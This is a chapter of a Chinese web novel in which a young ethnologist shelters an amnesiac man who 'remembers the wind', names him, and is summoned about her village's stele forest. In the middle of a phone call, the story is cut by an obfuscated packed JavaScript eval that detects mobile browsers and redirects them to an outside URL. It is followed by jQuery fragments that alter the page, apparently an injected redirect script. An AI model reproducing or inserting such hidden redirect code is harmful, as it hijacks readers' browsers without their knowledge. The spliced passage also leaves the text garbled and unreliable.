风垄山的晨风总比别处来得早些。
夏日葵睁开眼的时候，天已经泛亮了。屋后窗棂被风轻轻撩了一下，发出一声不轻不重的响。
她怔了怔，下意识掀被坐起。
明明昨夜雷雨突至、电闪雷鸣，可今早推门一看，院子里干净得像什么都没发生过似的。地上不见积水，连树叶都没被风撕落多少。
夏川村看起来和平日没什么两样，一派宁静祥和的模样。
——啊，昨晚那个男人……
夏日葵猛地想起，蹑手蹑脚穿过堂屋，朝着那间原本属于她的房间靠近。
他不在床上。
那一瞬她脑袋嗡的一声，昨晚那些梦一样的景象又溯洄脑中，她不禁有些怀疑自己是否真的在做梦？
下一秒，一道微弱的水声从院角传来。
她循声望去，就看到男人站在水井边，身上穿着她昨晚翻箱倒柜找出来的大卖场打折T恤，下半身不伦不类地穿着条度假风短裤。
井水没打，他像是不知道动作，只静静看着井栏上青石长出来的一点苔痕，目光沉了进去。
“你……醒得还挺早。”夏日葵试着打招呼，手心贴着门框，声音不大。
男人没有立刻回头。他似乎迟疑了一下，才缓缓转过身，眼神里带着点浅浅的雾气，像还没从梦里完全退出来。
“这里是……哪一方位？”
他声音低哑，却不惶恐。只是盯着四面风向发问，像在试图从风里找回点什么。
“哪一方位？”夏日葵愣住。
“风是从东偏北十度吹过来的，但树影偏斜角度和云层移动……不对劲。”他说着说着，自己也皱起了眉，“云往北飘，树影往西斜，风却绕不过屋角。我记得风不是这样走的。”
他说得认真极了，像在念什么公式。风吹过他凌乱的头发，嘴唇上的干裂没好，眼神却比昨夜清醒。
夏日葵忽然想起来小时候听村里老人说的，“有些人是能看风的”，不是用眼睛，是用骨头，用血。
她咽了口口水，试探着说：“你……记起来了？”
男人摇头。
“我什么都不记得。”他说，“但我记得风。”
夏日葵差点又要被他这幅神神叨叨的模样给绕进去。正愣神间，一道身影骤然靠近，还带着香柏木的气味。
“我饿了。”
男人直直望向她，声音中隐约透出些虚弱的味道。
夏日葵有点懵。
她本来还陷在“我记得风”那句话里打转，一时间没能反应过来。
“饿了？”她重复了一遍，目光下意识扫过他瘦得有些过分的手腕，才想起昨晚他根本没有吃东西。
她转身往灶房走，还没走几步，背后突然传来一声小心翼翼的请求。
“可以放一点……酱油吗？”
夏日葵一脚踩空了脚下的小砖坎，差点栽了下去。
“你还挺挑。”她回头看他一眼，嘴角微抽。
男人站在井边，朝她露出一个无辜又温顺的笑，那笑干净得像什么都不懂似的，但眼角微弯处，有一点点刻意藏不住的意味。
“我不挑的。”他顿了顿，声音低下来：“就是觉得你煮的……应该会很好吃。”
夏日葵后颈一毛，在心里痛斥了声“妖怪”，屁股燎着了火似的飞速离开了院子。
锅里水开始咕嘟咕嘟响时，院里又传来他的声音。
“你叫我什么？”
夏日葵搅着锅铲，没听清：“啊？”
男人走到灶房门口，慢悠悠地倚着门框，一副乖顺听话的模样。
“我说，我叫什么？”
他抿了抿嘴，语气可怜：“你总不能一直叫我‘喂’吧？”
“那你说说看，你想叫什么？”吃一堑长一智，夏日葵心中警铃大作，不吃他这套。
“你起一个吧。”他说着，收起了玩笑的神色，眼神认真：“你说什么，我就是什么。”
夏日葵一时语塞。她盯着他那张看起来无害又脆弱的脸，鬼使神差地冒出一个想法——
这人，真的没有记忆吗？
“那就……三伏，叫夏三伏吧。”她说，“三伏天里捡到的你，还压坏了我一颗白菜苗。”
说罢，她将手合在胸前：“给你取这个名字是希望我的菜苗儿能安安稳稳度过今年的三伏旱。”
男人垂下眼，像在体会这个名字的意味。
“夏三伏……”他念了一遍，很快便接受了这个明显随口胡诌的名字，唇角慢慢扬起：“那你呢？我该叫你什么？”
夏日葵没看他，抖着面条下锅：“我们不熟，你喊我大名。”
“好啊，小葵。”
夏日葵顿了一下，手里筷子没握稳，在锅沿“嗒”地敲了一下：“我说了，喊大名。”
“记住了。”夏三伏顺从地答着，顿了顿，又轻声补了一句，“夏日葵。”
他念得极慢，像在试着把这三个字仔细记忆。
两碗清汤面摆在堂屋的四方桌上，碗沿还冒着热气。面很简单，几片青菜点缀其间，一点葱花浮在汤面上，热气腾腾地氤氲着香气。
夏三伏吃得不快，却很安静。筷子落下去几乎没有声音，每一次都少量地卷起一些面，放凉了再送进嘴里。
他的动作自然、克制，不急不躁，一碗清最寻常的清汤面，被他吃出一种不紧不慢、分外专注的姿态来。
不过，夏日葵留意到了一个微妙的细节——他并不擅长用筷子。
她不动声色的观察被一阵电话铃声打断。她循着声音找到了被遗落在灶台上的手机，来电显示是夏崇武。
“喂，武叔？”
“小夏啊，你现在人在哪儿呢？”电话那头夏崇武的声音压得很低，“省文化厅的领导到了，特意提到了你。”
“提到我？”夏日葵愣了一下，“啥事啊？”
“嘿……这说来也巧了，”电话那头嘈杂的背景声突然安静了下来，夏崇武换到了个没人的地方才继续说，“咱们后山不是有片碑林吗？好几百年的历史了，村里这些年一直在申报非物质文化遗产，上头都没给批……你猜怎么着？这次省文化厅浩浩荡荡下来了一堆人，就是专门为了这个事儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089416|179653||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
！”
“说是考察夏川的碑林文化，提到你论文里写过‘图腾语义结构与碑刻残文初探’……省里这次想重启夏川碑林的整理项目，你那个什么硕士论文不是还得了个省里的优秀吗？刚好他们这一组人马下来，咱得好好招待，少了你可不行！”
“我现在过去？”
“立马！”
电话挂断了，夏日葵靠在橱柜上，疲惫地揉了揉眉心。
“你要去哪儿？”
一道没有起伏的声线冷不丁响起，夏日葵一转身，夏三伏不知何时端着碗过来了，悄无声息地站在灶房门口。
他身上一丝极细的阴湿气息转瞬即逝，仿佛只是错觉。
下一刻，那张霁月清风的脸上又扯出一道人畜无害的笑：“你今天有什么事？这是要出去吗？”
夏日葵怀疑自己没休息好眼花了，她迟疑地点了点头：”……有工作。我现在要出趟门，你在家老实点，别乱翻东西，也别乱跑啊，出事了没人照顾你。”
夏三伏一路跟着夏日葵把她送到了院子里，抱着特地给他准备好的水杯坐在矮凳上，像只晒太阳的猫，一脸惬意地抬头看她：“我会听话的。”
“……”
一穷和二白卫兵似地蹲在他左右两旁，三道目光一齐钉在夏日葵的后背上，目送她出了院子。
夏日葵抹了抹脑门的汗：“怎么像哄小孩似的……”
夏川村的会议接待都设在村委大院里，夏日葵过去的路上仔细回想着自己当年的毕业论文。
村里很少有人知道，她本硕毕业于中央民族大学民族学系，研究方向是‘地方文化与象征符号的田野存续’，曾以夏川碑林为案例写过硕士毕业论文，一度获选为省级优秀田野报告案例。
当年她定下这个选题的时候，爷爷还在世。那年暑假她兴冲冲地回到家告爷爷自己的论文方向，却意外地没有得到亲人的支持与肯定。
老人似乎对这个话题很避讳，还劝她不要写村子里的东西，换其他的方向，什么都可以。
“夏子，我希望你这辈子都不要留在这里……毕业后留在城市里，不要再回村子。”
爷爷轻喊着自她四岁以后就再没叫过的乳名，因长期农作而变得黝黑枯老的手颤抖地覆在她的手上，重重叮嘱着。
夏日葵本想向他取材，听他讲些村子里过去有关碑林的人和事，闻言也熄了想法。
她最终还是没有改变论文的选题，一意孤行地写了下去。
一整个夏天，她向学校请了长假，背着爷爷早出晚归。
她走过田野、夏水、风垄和川台，第一次用脚步丈量着这片生养她的土地。
她总觉得这是冥冥之中的事情。
她用文字去描摹，用图形去勾勒，试图将夏川的一草一木、一碑一石，都细细存档。那些散落在山野间的旧事与隐秘，对旁人或许只是传闻，而对她，却像是血脉深处的回响。
这片山野中的一切都让她感到亲切和归属……好像冥冥之中她就该属于这里。
可为什么，爷爷要喊她走呢？还叫她走得远远的，再不回头。